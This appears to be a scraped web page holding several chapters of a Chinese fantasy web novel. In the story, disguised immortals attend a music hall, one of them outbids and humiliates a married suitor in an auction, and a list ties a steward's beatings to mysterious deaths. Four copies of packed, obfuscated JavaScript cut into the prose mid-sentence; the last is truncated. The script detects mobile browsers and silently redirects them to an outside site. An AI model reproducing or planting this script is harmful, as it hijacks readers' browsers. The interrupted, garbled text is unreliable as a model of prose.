那嗓音宛若天降清辉,冷寂皎洁,虽未吐一词一句,但却仿佛包含了万千情感,如明月穿透云层般直抵人心深处,让所有的污浊无处遁形。 渐渐地,她的声音弱了下去,琵琶之声也愈发缓慢,直至最后,她猛一挑弦,那弦音犹如金戈交击、铁马奔腾,一股肃杀之气顿时弥漫开来,于堂内久久不散。 台下听众呆坐许久,半天才有人从这难以言喻的震撼中抽离,如梦初醒般轻轻吸了口气。 随着这片沉寂被打破,掌声也慢慢从厅堂内各个角落响起,最后汇成如雷鸣一般的震动,在整个仙音阁内回响。 堂内蜡烛被重新点燃,屏风后的八位乐师走了出来,与柳滢容一同对台下施礼后便下了台。 数位杂役轻手利脚地将台上的八面屏风及一应乐器迅速搬走,又拿上来一把铺着软垫的红木圈椅,供独自留在台上的柳滢容来坐。 一见这把椅子登台,台下诸人瞬间激动不已,纷纷小声而又急促地交谈起来。 唐禾不明所以,探头过去听了一阵,回首对着青晏几人道:“好像是这把椅子一旦上台,就代表着柳滢容今日心情不错,在场的人可以和她说上几句话。但具体能说几句,等下还要再看她决定。” “那没有椅子的时候呢?”明煦问道。 “结束之后转头就走。”唐禾朝一旁努努嘴,“他们正在讨论到底该说些什么才能不浪费这个机会呢。” “果然是承安郡第一乐师,”明煦啧啧两声,“这排场,在哪儿都少见呐。” 她凑到青晏身边:“我刚才留心了,柳滢容确实是人,身上也没缠着什么怨气,绝对没下手杀过人。可这乐楼里好像也没有什么妖邪的气息,咱们下一步怎么办,还要拍她的私宴吗?” 青晏正打算告诉明煦刚才自己和颜故的所见所闻,台上柳滢容身子微微一动,如仙子拈花般比出三根手指来。台下讨论之音在这三根手指伸出之后静了一瞬,而后猛然变得更加喧嚣。 明煦唐禾像商量好了似的,一起支棱着耳朵到旁桌偷听去了。很快唐禾便转了回来,对青晏颜故兴奋道:“他们说,柳滢容这次居然破天荒地能让他们说上三句话呢!” 明煦也转了回来,飞快地补道:“平时最多也就两句!” 青晏无奈地笑笑:“怎么连你们也兴奋起来?” 明煦一脸理所当然:“看热闹嘛,自然是越稀奇,平日里越见不到的才好。” 讨论的声音渐渐低了下去,似乎是他们已经商议好了到底应该说些什么,且这次还是那位拿着象牙销金扇的儒雅男子率先开的口。 他斯斯文文地道:“我等此前只有幸聆听过柳姑娘独奏,柳姑娘单独演奏时,琵琶技艺已是极为高绝,世上罕见,着实令人叹服,今日的合奏又颇有另一番意趣。不知姑娘今日特意选择合奏,是有何特别的缘由吗?” 柳滢容的视线在他身上落了一瞬,不咸不淡道:“心情好。” “我可没看出来她心情好。”明煦嘟哝道。 “刚才那大爷不是说过她平时没什么笑模样嘛,可能如今这样已经算心情好了。”唐禾小声回道。 “因为什么事情心情这么好?”一个手上戴了七八枚金玉戒指的富态男子完全无视周围人的阻拦,不管不顾地问道,“说出来听听看呀,我们也想知道知道,什么事儿才配让小娘子你高兴?咱也可以一起高兴高兴,是不是?” “喝多了吧你!”在郭记酒肆坐他们对桌的刘掌柜气恼地拍了一下自己的大腿,怒气冲冲地对那富态男子道,“想被赶出去是你自己的事,何必浪费我们一句话!” 仿佛是为了印证他的话一般,刘掌柜话音刚落,几位不知道从哪儿冒出来的彪形大汉便将那富态男子团团围住,十分客气地将他“请”了出去,也嗓音洪亮地礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13988143|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 貌告知他今后不必再来。 待房间内重新安静下来后,柳滢容的目光终于肯从琵琶上抬了起来,对台下轻飘飘地给出了刚才那个问题的答案:“无可奉告。” “请问柳乐师,”青晏微微昂头,直视乐台上的柳滢容,“这首曲子所名为何?” 柳滢容转过头来长久地凝视着青晏,青晏也坦然回望着她。 二人对视良久,柳滢容忽然露出一个春风化雪般的微笑来,和柔道:“无可奉告。”随即她抱着琵琶站起身来,脚步轻快地离去。 “你!”一个约莫二十多岁的白净男子拍桌而起,咬牙切齿道,“哪儿来的呆子,知不知道规矩,好容易有一次能说三句话的机会,刚才那个大傻子浪费一个不说,你又浪费一个?是不是欠揍啊!” 堂内众人纷纷对青晏怒目而视,只有第一个提问的儒雅男子将手中的扇子摇了又摇,随即阻止道:“诸兄莫急,我看柳姑娘的反应似喜非怒,想来这‘无可奉告’四字应与刚才第二个回答的意义并不相同。若以此推断,此曲之名,或许恰是‘无可奉告’。” 他转向不知何时再次出现的莫文才:“莫先生,你知道此曲的名字吗?” “在下可以前去一问。”莫文才微微欠了欠身,随即略提升了嗓门,对堂内诸人道:“今日所出演的诸位乐艺高手均会在承安郡停留半年,各位在举办宴会时若欲请雅乐助兴,可以委托在下代为邀约。同时,三日后,柳乐师所设的楼内宴席将再度开启,规矩同往日一样,以价论英雄,不设底价,望诸君悉知。” 说完,他笑眯眯地在台上一站,静静地看着堂内这二三十人七嘴八舌地喊起价来。 “一千两!”白净男子率先叫道。 “一千两?”一个留着两撇胡子的中年人阴阳怪气地重复了一遍白净男子的出价,“就这么点钱,还是留着给你家小妾过八十大寿吧!五千两!” “你家小妾才需要过八十大寿!八千两!” 刘掌柜咬了咬牙,也跟着喊道:“一万两!” “两千两千加有什么诚意啊,一万五千两!”中年男人两撇胡子抖了抖。 明煦还没掰完手指头算清楚前面那轮八千两的出价到底能够他们吃多少顿饭,那些人就已经将价格喊到三万两了,急得她直跳脚:“这些人的钱都是哪儿来的,就这么花也不心疼吗?咱们在郭记酒肆四个人吃得那么好才花了六百三十一文,那一文还抹了没收!这三万两银子,能够咱们吃……”她又开始掰起手指头。 “别掰了,”青晏盖住她的手指尖,“你想不想也玩一玩?” “当然想啊!”明煦眼睛一下子亮起来。她的视线在青晏和颜故身上来回打转:“那今日的消费算在哪位公子的头上?” 青晏指了指自己,明煦小小地欢呼了一声,开心道:“秦公子,你这钱够花吧?” 她朝青晏连飞三道含情脉脉的眼神,突然又想起来自己和青晏的幻灵又都是男人模样,吓得浑身一凛,连忙收起笑容。不过好在周围的人都已经喊价喊到快要打起来了,所以并没有人发现。 “随便花。”青晏耸肩道。 她想了想,又补了一句,“你只要别上来就喊破天就行,一点点加,别出格。” “没问题。” 明煦清了清嗓子,站在人堆外听了一阵,终于找到一个话口,在对方喊出三万八千两的时候立刻大声道:“八万两!!!” 18.竞拍 “你是不是疯了你!”一个黑脸男子狠狠地指着明煦,“哪有你这么加价的,找茬呢!” “哎,这怎么能是找茬呢?”明煦一脸无辜,“我刚才明明听到有人说之前最高的一次喊价就是八万两,那我为了以示对柳乐师的尊重和欣赏,自然是要把诚意一次性给足的。”她扫视了一圈全场,“难道你们不是吗?” 黑脸男子几欲张口,却终究是喊不出一个高于八万两的价格,只好忿忿坐下。其余人仔细掂量了一阵,发现似乎也超出了自己的承受极限,于是也闭口不言。 场上出现了短暂的宁静。 明煦疑惑:“你们继续喊啊,这不是才到往常的最高出价吗?” “你以为谁都和你一样?我们可都有一大家子要养!”留着两撇胡子的中年人冷哼一声,“年轻后生,不知道心疼钱。你这么瞎败坏家业,你爹知道你这么花他钱吗?!” “我爹……”明煦的眼神直往身后瞥。 不知道自己又成了爹的青晏正惬意地喝着茶,听着明煦反击道:“你这人说话好没礼貌,你管我爹知不知道呢,横竖我出得起这个钱不是?你要是想替我爹教育我,那就喊过我呀,光会耍嘴皮子有什么用?” “你,你!”中年男人连连抚着自己的胸口,气得连话都说不出来。他身旁那个头上戴了一顶脂玉冠,好似风流公子一般的人不满道:“你狂什么!十万两!” 明煦不甘示弱:“十二万两!” 一直没喊过价的儒雅男子此时收起了手中的象牙扇,对着明煦拱了拱手,正色道:“这位小兄弟看着有些面生,不知家住在承安郡哪里?” 明煦也对着他一拱手:“我是外地的,看着面生也正常。” “原来是外乡的朋友,”那男子笑了笑,“在下厉贺千,不知兄弟怎么称呼?” 明煦被他问的一头雾水,但还是老实回答道:“我姓明,明亮的明。” “原来是明兄弟,”厉贺千目光微微一转,“宜康城的明家?” 明煦瞟他一眼:“厉兄,既然已经出门在外,家里的事情还是不要多提吧。” 虽然不知道面前这些人到底在说些什么奇奇怪怪的东西,但若是他问什么自己就答什么,岂不是被牵着鼻子走?像自己这么机灵的人,才不会掉进这样的陷阱呢,明煦得意地想。 厉贺千点点头,换了个问题道:“那瞧着明兄弟年轻有为,不知家中是否已经娶妻?” 明煦更纳闷了。 这人怎么回事,不是刚说好不要总问家里的事情吗,怎么现在又问娶没娶妻?而且说了那么一大堆话也不见出价,不会背后藏了什么猫腻吧? 她的警戒心陡然升起:“这位兄台,关于我家里情况的一切问题,我在这借用一下柳乐师的答案来回答你,无可奉告。厉兄要是也想参加柳乐师所设的专宴,那便出价;若是不想,你我还是不要闲聊的好,以免耽误了正事。” 明煦这话已然说得很不客气,厉贺千却依旧一团和气道:“在下没什么别的心思,只是瞧着明兄弟面善,想和你讨个商量。实不相瞒,我对音律并无太多热爱,只是真心爱慕着柳姑娘,故每逢她展艺之时,我必前往观赏。巧的是,三日后正是我的生辰,既然得此良机,便想与柳姑娘共度,所以特意积攒了些钱财,就是为了今日能够如愿。” 他继续道:“若是明兄弟愿意让愚兄一把,我今日便亲送五万两的银票到明兄弟所下榻的客舍。当然,明兄弟家大业大,这五万两白银自然算不得什么,只是愚兄的一番心意罢了。倘若明兄弟未来有意再访承安郡,在下定当竭诚款待,任何与承安郡有关的生意往来,也可以随时告知愚兄,希望明兄弟能给我这个面子,成全我想与心上之人共贺生辰的愿望。” 他这番话说得情真意切,明煦却上下打量他两眼,问道:“那你娶妻了吗?” 厉贺千略有些尴尬地笑笑:“在下已经三十有余,自然是娶了的。” “所以你已经娶了妻,说不定也有了孩子,然后在这跟我说柳乐师是你心上之人,你希望跟她共贺生辰?”明煦大为震惊,“你还要不要脸,也不嫌自己恶心?” 厉贺千面色巨变,想要发作却不清楚明煦的底细,只好强忍道:“明兄弟若是不愿意,厉某自然不强求,你我凭本事出价即可,何必出言侮辱呢?” “你也没凭本事出价啊,你试图用五万两银子叫我退出来着。”明煦回怼得飞快,“还总问东问西。” 厉贺千沉着脸:“我刚才之所以问你是否娶妻,是觉得如果你已有妻儿,说不准可以体谅厉某的心情。” 明煦极为不解:“这又是因为什么?” 厉贺千长叹一声:“你既然问出这种问题,想来是没有娶妻的。你可知这世上有多少男子因为需要肩负起全族兴衰的责任而不得不听从父母之命,娶一个从未见过面,不知美丑,只是家世匹配、素有贤名的妻子回来?长相能看也便罢了,要是不能,这漫漫长夜可该如何度过?便是连白天都不想见到了。自然,也有人有幸迎娶佳人,可纵然温香软玉在怀,时间长了也是会腻的,就好比那山珍海味日日品尝也会觉得乏味,要时常吃吃山野小菜,换换口味才行。” 言毕厉贺千眉毛一挑,对周围人笑问道,“在场的各位仁兄贤弟谁没有几个红颜知己,可觉得在下说的有几分道理?” 刘、李二位掌柜相互看了一眼,均没作声,但其余大部分人却纷纷附和起厉贺千的说法来。厉贺千洋洋自得地看向明煦,本以为今日成功给这不懂情趣的毛头小子上了一课,却只听到对方平静地问道:“说完了吗?” 厉贺千不明所以,皱着眉没有回答。明煦继续问道:“你属什么生肖?” 还未等他回答,明煦便迅速开口道:“我知道你属什么。” 她向前一步,不断跳动的烛火在地上投出她修长的影子:“你属狗,狗嘴里吐不出象牙的那种狗。” 厉贺千面色涨红,猛地将扇子往地上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13993120|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摔,象牙扇骨应声而断,原来绷着的那副儒雅范儿竟也彻底不装了,浑身上下都透着一股想要和明煦比划比划的劲儿。唐禾“噌”地站起来就要往前冲,被青晏一把按住。 “打不起来。”客栈内的青晏淡定地对唐禾道,“就算真打,纯靠武力的情况下整个天界能打过明煦的人也不超过三个,就更别说这些人了。” 唐禾这才放下心来,继续加入了青晏与颜故的看戏队伍,可此时青晏却突然感觉到高处有一道视线向台下投过来。抬头一望,原来是柳滢容不知何时出现在了三楼栏杆附近,正在低头凝视着明煦和厉贺千。 明煦双眼紧盯着厉贺千,连珠炮似的向他发起了进攻:“摔扇子有什么用啊厉兄,听响呢?这我可得说说你了,别的人咱先不提,就你这点水平,连继续喊过十二万两的底气都没有,就先别考虑什么全族兴衰了吧?你那全族还没兴呢,更谈不上衰!” “还有啊,什么成亲前从未见过面,不知美丑,你妻子美不美我不知道,你倒是真的挺丑的,家里一年到头治眼睛的药不少买吧?我都怕今天你这银子撒下去只能跟摔扇子似的听个响,人家柳乐师转头就给你全退回来,毕竟谁也不想办个宴席还得搭上治眼疾的钱吧?” 明煦仿佛没看见厉贺千已经涨成紫色的面庞,继续开火道:“不过我也有不对的地方,我刚才真不应该问你要不要脸,这答案不明镜儿似的吗!你但凡能要上一点儿脸,就不会拿什么山珍海味乡野小菜的来和你妻子比!退一万步说,就算你恬不知耻非要去比,那这外面好看的年轻小伙儿这么多,你妻子天天看着你这张老菜皮也怪倒胃口的,不如明日就仔细选上几个帅小伙儿给你妻子送去,你们俩一起换换口味,这才公平嘛!” 厉贺千勃然大怒,提拳就要向明煦袭去。明煦丝毫不躲,反而向前重重踏了一步,脚下地板登时断裂,木片四溅。 她扬起一个畅快的笑容,高声道:“莫掌柜,你这地板不错,我买一片!” 莫文才慢条斯理道:“一片一千两,打碎其他物品另算。” 明煦又向前踏了一步,第二片地板也碎裂开来,崩出的碎片直接打到了厉贺千的脸上。他惊恐地望着明煦,手中紧握的拳头都忘了松开,只能僵硬地立在原地看着逐渐逼近的明煦笑着问自己:“你的手多少钱,我能不能也买一只呢?” “不,不……”厉贺千小步后退。 明煦恍然大悟:“不值钱?” “不是,不是!”厉贺千颤声叫道,“明兄弟,我认输,我退出,不和你竞价了!” “哎,这可不行,”明煦摇摇头,“我是一个讲规矩的人,今天的规矩就是要以价论英雄的,你如今说退出就退出,岂不是拿我当狗熊?” 厉贺千抖了抖:“不敢,不敢……” “不如这样吧,”明煦随便找了个椅子坐下,对不知所措的厉贺千比了个示意他也坐下的手势,“你我再喊价三轮,出不起这个银子的自动退出,如何?” 19.青眼 厉贺千哪敢说不。他挪步去找椅子坐下,明煦冲着早就躲得远远的其余人问道:“你们有没有也想竞价的?可以一起啊。” 众人默默摇头,将身子缩得更远了些。 厉贺千刚要开口,明煦打断道:“哦对了,既然刚才我喊十二万两的时候你说要给我五万两白银让我退出,那我可以理解为你是能出得起十七万两的,对吧?” “能的,能……” “既然如此,那我就出三十万两,你呢?” 厉贺千已然觉得有些不对,但看着脚下化成木屑的地板,他只能硬着头皮道:“我,我再加一百两……” 明煦撇撇嘴:“这么客气啊厉掌柜?我出五十万两!”她朝厉贺千伸出两根手指,“还有两轮。” “再加一百两……” 明煦瞪大了眼睛:“这就是你对柳乐师的真心爱慕呀,回回只加一百两?” 见他说不出话来,明煦摆手道:“算了,只剩最后一轮了,就这样吧。我出八十万两!” 厉贺千的心跳得快要飞出来,脸色苍白道:“我还是再加一百两。” 他在心中疯狂求着各路神仙,祈求面前这个人只是个为了在柳滢容面前彰显自己财力无边的青涩小子,而不是故意抬价,好在最后一轮散尽自己家财的疯子。 但最坏的情况还是发生了。 明煦欢快地鼓起掌来,赞叹道:“哇,厉兄真是家底丰厚,竟能拿出如此巨款,小弟再出不起更高的价了,甘拜下风!” 莫文才也朝着厉贺千微微一鞠躬:“恭喜厉公子。” 厉贺千如坠深渊,浑身血液仿佛都被冻住了一般不再流淌。他努力挣扎着从干涸的嗓子里挤出声音:“你不是应该还要再出一轮价吗?” 明煦摊手:“是啊,但我出不起呀,我这全部家当就只有八十万两,等下那两块地板还得借钱赔呢,比不得厉兄家大业大,自然要恭喜你得中柳乐师专宴,愿望得成啦!” “不……不行!” 厉贺千踉踉跄跄地奔到明煦面前:“明兄弟,我们刚才说好的,我已经说了要退出,是你非让我再喊三轮价的!” “没错,是喊三轮,”明煦点点头,“只不过最后一轮我比不过你而已。家底不够厚,我也很遗憾呐。” 厉贺千此时已全然明白自己这次彻底完了。原以为最多只要八万两银子的专宴竟活生生被抬到了八十万,如此巨额要他一时间如何筹措?便是将家里的庄子铺子全都变卖了,也没有办法在这一夜之间凑齐啊! 他本来就只有十万余现银,想着之前最高的一次价格也不过是八万两银子,就算拍下这宴席,手头剩下的钱也绰绰有余。这八万两花出去,不仅能和美人共度生辰,更能以此为由邀请来达官贵人一同赴宴,彼时宴席间的觥筹交错所获说不准能远远超过这八万两,真是一笔纯赚不赔的买卖。 为此他还已经事先私下和几位朋友通过气,请他们也来参宴,只是不参与出价,这样便能防患于未然,尽量减少些变故。本来今日一进这仙音阁后发现所有宾客皆为旧识,算起来唯独自己家世最好,还以为自己已经十拿九稳,怎么会突然就被这些不知道从哪冒出来的外乡人打翻了如意算盘? 届时若是付不起这笔钱,丢人事小,被岳家知道他竟对妻子有这样的心思,以后这日子可还怎么过!可就算真的凑齐了又能怎样,这么大的一个窟窿自己无论如何都堵不住,最后不还是会被发现,这两者有什么分别? 早知如此,自己刚才就不该因为害怕被打而选择冒险赌上一把,赌这少年只是想在柳滢容面前耍耍威风罢了! 明煦见他委坐在地,脸色不住变幻,最后竟透出些灰色来,不由得觉得好笑。她双手抱臂,对厉贺千道:“厉兄,知道问题出在哪儿吗?” 厉贺千木木地摇头。 “你啊,太把自己当回事儿,又太不把别人当回事儿了。”明煦扫视了一圈躲在一旁的那些人,“那里面有你安排好的人,事先说好了把价格稳到最高八万两,是也不是?” 莫文才的眼神如箭般射向厉贺千。 明煦见厉贺千还是没什么反应,继续道:“发现我这个变数之后,你第一反应就是问我的家世,想跟我衡量一下深浅。然后在不知道我性子究竟如何的情况下,想当然地以为我是和你一样的腌臜之辈,发现说不过我之后,还想打我,结果这方面你也不行,这才认命。最后你连反抗的勇气都没有,只能眼睁睁地掉进陷阱里,是也不是?” “所以你看你,不把乐楼的规矩、为人的品性、丈夫的责任、还有对他人的尊重当回事儿,只知道盯着自己所谓的家世、利益和欲望,天天算计着别人。但当真的出事儿了的时候,你却也没有把它扛起来的能力,是也不是?” 明煦将迷迷怔怔着的厉贺千扶了起来,拍了拍他的后背:“你才三十多岁,日子还长着,还有很多时间可以改正。今天这事儿就算过去了,回去好好对你的妻子和孩子,别一天天想那些没用的,多干点正经的营生。要是实在干不明白,不给家里添乱总归还会吧?” 厉贺千虽不明白这人为什么突然间放过了自己,但救命稻草已在面前岂有不抓住的道理,于是他赶紧千言万谢地向明煦认了错,并保证以后绝不再踏入仙音阁一步,然后立即脚底抹油般溜走了。 莫文才转向明煦:“既然厉公子退出,那么三日后的专宴改为明公子得中。再加上刚才那两片地板,八十万零二千两白银需在今日付清,方可……” “不用了,”一道清冷的嗓音从三楼传下来,“这一次的专宴,还有那两片地板,我请。” 柳滢容站在高处,对明煦露出一个淡淡的微笑:“三日后酉时,我在仙音阁静候公子。公子若有志同道合的好友,”她的视线轻飘飘地扫过青晏等人,“也可一同前来。” 她的声音虽不大,但这番话对其余在场之人而言不亚于一道炸雷劈在自己耳边,将他们劈得五雷轰顶,瞠目结舌。 今天到底怎么回事,先是专宴被一个不知道从哪儿冒出来的年轻人豪掷八十万两拍下,接着柳姑娘居然还把这笔巨款全都免了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14006986|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至还对着他露出了笑容! 要知道之前这种情况可是从未出现过,这人究竟何德何能,能让柳姑娘对他都另眼相待?都说佳人喜俏郎,可论俊俏程度此人也不过尔尔,倒是在骂人水平这方面颇有两把刷子…… 众人心里不断犯着嘀咕,但却无人敢公然表露出来。明煦高高昂起头,对立在栏杆旁的柳滢容喊道:“柳乐师,多谢!” 柳滢容矜矜点头,随后身形消失不见。 作为一个刚刚痛失八十万两白银的乐楼掌柜,莫文才的面色却依旧如常,就连声调也没什么波澜:“请问明公子会携几人前来?我们好先行备下酒菜。” “算我一共四个。”明煦将青晏、颜故和唐禾向莫文才一一指明。 颜故上前一步,笑容可掬地对莫文才伸出一只手来:“有劳莫先生了。” 莫文才不疑有他,虚虚与颜故握了握手,随即露出一个送客的亲和笑容。 待出门时,青晏回头望了望,余光里见到年轻的齐王站在二楼雅室窗前,面色晦暗不明。 “呼!真是累死我了。”客栈里,明煦反坐在椅子上大声叹气。她一双眼期冀地盼向青晏:“哎,对了,我刚才应该没惹祸吧?” 青晏想了想,神情有些微妙:“除了日后若是有人追杀,需要排除一下厉贺千和齐王的嫌疑之外,其他的应该没什么。” “被人追杀倒不足为惧,”明煦耸耸肩,“但齐王是谁?” 她歪头想了想,突然反应过来,“是不是你们刚才用神念的时候认识的?他为什么也会想追杀我们呢?” “哦?”青晏奇道,“你怎么知道?” “我又不是傻子,”明煦在椅子上晃悠着,“你俩刚才神情变幻得跟皮影戏似的,跟乐楼里的曲子完全不同步,我就猜到是发生了点什么。本来当时就想问,但既怕打扰了你们,又怕错过仙音阁里的热闹,所以才一直没说的,可真是憋死我了。” “耍了那么大一通威风,还憋闷呀?”青晏笑道。 “这威风可不是我要耍的,是他偏得撞上来!”明煦双手一击,“我知道这个专宴咱们是必得不可,所以特意扎到人堆里去听。本来是想着看能不能听见他们打算出多少钱,毕竟虽然你说了银子随便花,但还是能省则省嘛,结果就听到有几个人在一旁神神秘秘地讨论怎么抬价才把其他人都给挤出去,让姓厉的最后得中,言语间还对柳滢容很不礼貌,我一下子就火了。” “我本来没想怎么样,只想老老实实出价,盖过他就算了。结果没想到他非要磨磨唧唧地缠上来,又说了好一堆混账话,我这才想要教训他的。他妻子这辈子可是倒了大霉了,下辈子估计能投个好胎。” “你这口才可真是愈发好了,看来话本也不是白读的。”青晏欣慰道。 明煦得意地左右晃了几下脑袋:“我口才一向很好哦。” 青晏凝视着她,面上浮现出一抹淡淡的微笑。 “哎呀,不讲这个了,快说说你们刚才上去都发现什么了?”明煦饶有兴趣地托着下巴。 20.痴情种 颜故接收到青晏的示意,将柳滢容与齐王的事情尽数讲给了明煦和唐禾,直听得他们连连咂舌。 明煦感慨万千地摇摇头,叹道:“哎呦,这齐王可真是个痴情种。” “可他为什么会想要追杀仙姬呢?”唐禾满脸不解。 “你看啊,”明煦转过身来对着他好一顿分析,“通过他们两个上去所观察到的事情来看,柳滢容的真实性情和外面的传闻其实差不了太多,都是一样的清冷端庄,孤傲中还带着一股倔劲儿。当然了,人家毕竟曾经是宰相家的女儿,有这种性子那是再正常不过了,对吧。” 唐禾想了想,认同地点点头。 明煦继续道:“这样一个人,平时基本不会把除了齐王之外的一切男的放在眼里。就连咱今天遇见那大爷也说了,平时的柳滢容,可是连个笑模样都没有的人。但她今天却破天荒地笑了两次,一次对青晏,一次对我,甚至还把八十万两专宴的拍卖钱、还有我破坏的那两块地板钱都给抹了。我要是齐王,这鼻子现在都得是歪的,气死了呀。” 青晏默默回忆了一下齐王刚才的神色,虽然确实不好看,但鼻子倒是还没歪。 明煦抄起桌上的荔枝饮,若有所思道:“不过说起来我还是不太明白为什么他要叫莫文才盘下乐楼重新开张。除了装潢好了不少,也新来了一些知名的乐师献艺之外,其余的也没什么变化呀,柳滢容不还是在这里演出,私宴不也还是每两个月办一次吗?” 颜故眨眨眼:“结合我之前打听到的传闻,我猜归根结底,还是因为齐王是个痴情种。” 明煦把椅子往前挪了挪,饶有兴趣地听着颜故解释道:“在此之前,仙音阁的前身醉烟楼,仅仅是承安郡内一家非常普通的乐楼,乐师们不过能勉强糊口,东家自己也只能尽力维持而已。” “但自从柳滢容来了承安郡,只凭一曲便打响名声,成了承安郡第一乐师之后,醉烟楼也跟着一飞冲天。因为有她做大轴,其余的乐师在柳滢容出场之前也能多演上几回,有些技艺尚可只是没有名气的乐师,也因此有了些名望,收入也跟着涨了涨。” 颜故继续道:“那茶博士曾与我说,约半年前,他那在醉烟楼做洒扫的幼弟见到过一个衣着华贵的神秘人,进了乐楼后直奔前东家的房间而去。他觉得好奇,大着胆子隔着门听了一阵,虽听不太清,但依稀能分辨出是此人希望柳滢容可以与他回去,但却被柳滢容拒绝,还听到什么知遇之恩,乐师同伴什么的。” “我猜,柳滢容应是因为想要报答前乐楼东家的知遇之恩而拒绝和齐王回京,并且觉得如果自己走了,乐楼势必无法继续妥善经营,乐楼东家和她的许多乐师同伴们就又要苦谋营生,所以齐王这才特意派莫文才前去以巨款收购了醉烟楼,原来的乐师也一并留下来安置,尽力扫除一切会让柳滢容挂心的可能。” “可那些新来的乐师,还有那些豪华装潢又是因为什么呢?”唐禾问道。 “我倒是也有一个猜想,”青晏挑眉道,“按照那齐王的性子,此举怕是希望尽可能地分散关注,将众人的目光吸引到豪华的乐楼本身,以及其他技艺高超的乐师上去,这样柳滢容便不是这仙音阁唯一惹眼的乐师。如此一来,待她日后隐退之时,便不致引起太多注意或是追踪,只是没想到最后柳滢容还是拒绝和他一起离去而已。” “很有道理……”明煦啧啧称奇:“如果真是这样的话,那这齐王可真不愧是皇家子弟,心眼子真不少,这法子我可想不出来。” “皇室中人争斗一向厉害,可能一点心眼都没有的人也不容易活下来吧。”唐禾眨巴着眼,感叹道,“也不知道那些斗输了的下辈子会投到什么人家。” 明煦想了想:“在我看过的话本里,这类人死前基本都会许愿来生不入帝王家,想来幽冥界那边应该也会考虑一下他们本人的意见。”她看向唐禾:“那你会想做皇帝,或者皇亲国戚吗?” “不想。”唐禾的头摇得像拨浪鼓,“虽然他们出身高贵,也可以一生衣食无忧,但需要想的、提防的东西实在太多了,身上也背负的责任也太沉重,甚至很多想做的事情不能做,不想做的事情却偏得做。如果能选的话,我还是更愿意做一个普通人,过好自己的小日子,在自己的能力范围内尽可能地多多帮助他人,积德行善,就这么平凡、安稳、幸福地度过一生,便很好了。” 颜故笑笑:“怎么突然感悟这么深刻?” 唐禾不好意思地摸了摸后脑勺:“我们门派道观当年有不少皇室中人的供奉,偶尔会听到他们的烦忧,所以才有这些感悟。” “就没有过得很幸福的吗?”明煦歪着头沉思,“我总觉得应该有的。” 唐禾琢磨了一会儿,慢慢道:“有是有的,但很少……” 一道信符突然出现在青晏手中。是温隐给的回信,详尽地提供了他这边能查到的一切关于莫文才的信息。 “温隐灵君这次给的倒是比之前那些籍录细多了,”明煦有些气馁,“连因为小时候出去玩跑丢了只能抱着一只不知道从哪飞来的山鸡取暖,所以最喜欢的动物是鸡这种事都要写进去。可写得这么细,总让人感觉莫文才好像就是个脚踏实地活了好几十年的凡人一样,这下又没人可怀疑了。” “而且虽说他会教训冒犯过柳滢容的人,但我看他所谓的教训也不过是以摸黑打一顿为主,下手也挺注意轻重,从未出过人命……”唐禾摸了摸额角。 “不过你还真别说,像今天那些嘴贱的人还真不少,”明煦看着温隐回信上莫文才在承安郡的行踪,“尤其是柳滢容刚来那阵儿,莫文才真是每隔三五天就打一个啊。要不是齐王让莫文才先观察几日等寻到个其他的由头再动手,省得挨打的人把这事儿和柳滢容联系起来,估计他揍得可能更勤了。也不知道今天那些人说的话他听见没,若是听见了,他就又有活儿干了。” “这俩人也真是不容易。”青晏看了看那份被莫文才教训过的人的名单,不由得发自内心地叹了口气。 “等等,”她的目光突然被名单上的一个名字所吸引,不禁深深蹙起眉来,“这个胡以宣……如果不是重名的话,应是我之前提到过的那个被野狗撕咬致死的古玩铺掌柜。而这个曹克,”她看向颜故,“是你之前说过的裁缝店主吧。” 颜故立刻会意:“这么说,除却参与柳滢容的私宴可能会导致异常死亡之外,就连曾经冒犯过她,也算是死罪?” 明煦凑过去看了看名单,紧接着倒吸了一口冷气:“吕应……就是那个郡尉家的大儿子,他也在这个名单上!他也被莫文才教训过?” 唐禾匆匆数了数名单上的人数:“被莫文才教训过的一共三十六人,其中……”他飞速捋了捋温隐之前给的离世记录文册,眼睛骤然瞪得溜圆,“竟有十四人目前已经死亡?还都是我们查不出原因的异常死亡!” “嗯?!”明煦抻直了脖子,“难道是我小看莫文才了?这大哥不会真是个隐藏得极深的妖魔吧!” 颜故眉头紧锁:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 